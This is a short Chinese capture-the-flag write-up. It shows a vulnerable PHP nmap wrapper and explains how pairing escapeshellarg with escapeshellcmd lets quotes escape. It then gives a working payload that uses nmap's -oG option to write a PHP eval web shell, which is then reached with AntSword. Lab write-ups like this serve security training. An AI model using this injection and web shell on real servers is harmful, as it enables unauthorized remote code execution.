打开是源码
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
//escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
$host = escapeshellarg($host);
//escapeshellcmd — shell 元字符转义
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
//创建一个文件夹(make dir)
@mkdir($sandbox);
//切换目录(change dir)
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
通过源码得知,我们需要GET传入host
escapeshellarg 作用是将所有单引号进行转义,并在外面再加一对单引号
eacapeshellcmd 作用是对单引号转义,但对成对的引号不做处理
由于我本地对这两个函数运行不起作用,所以更多的有关这两个函数的内容请参考
然后就是最后一行的nmap -T5 -sT -Pn --host-timeout 2 -F
nmap是一个网络扫描工具,使用方法可参考下面两篇
不过nmap的-oG命令可以写入文件,这就让我们想到一句话木马,所以host传参
?host='<?php eval($_POST["hhh"]);?> -oG 1.php '
然后会得到文件夹的位置
然后蚁剑连接
http://3549499c-cce3-4daa-b248-c426fbf02de1.node4.buuoj.cn:81/3a09443d4366b765d31e4c6b3869cf8d/1.php
得到flag